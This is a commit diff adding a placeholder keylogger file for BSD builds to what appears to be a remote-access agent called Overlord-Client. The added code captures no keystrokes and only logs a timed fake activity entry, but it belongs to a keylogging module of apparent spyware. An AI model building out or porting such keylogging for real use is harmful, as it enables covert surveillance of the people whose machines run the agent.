remove old bs code, start getting ready for freebsd and openbsd support

Overlord-Client/cmd/agent/keylogger/keylogger_default.go

@@ -0,0 +1,30 @@
+//go:build !windows && !linux && !darwin
+
+package keylogger
+
+import (
+	"fmt"
+	"log"
+	"runtime"
+	"time"
+)
+
+func (k *Keylogger) captureKeystrokes() error {
+	log.Printf("[keylogger] keylogging is not implemented on %s - placeholder mode", runtime.GOOS)
+
+	ticker := time.NewTicker(30 * time.Second)
+	defer ticker.Stop()
+
+	for {
+		select {
+		case <-k.stopCh:
+			return nil
+		case <-ticker.C:
+			k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
+		}
+	}
+}
+
+func getWindowTitle() string {
+	return ""
+}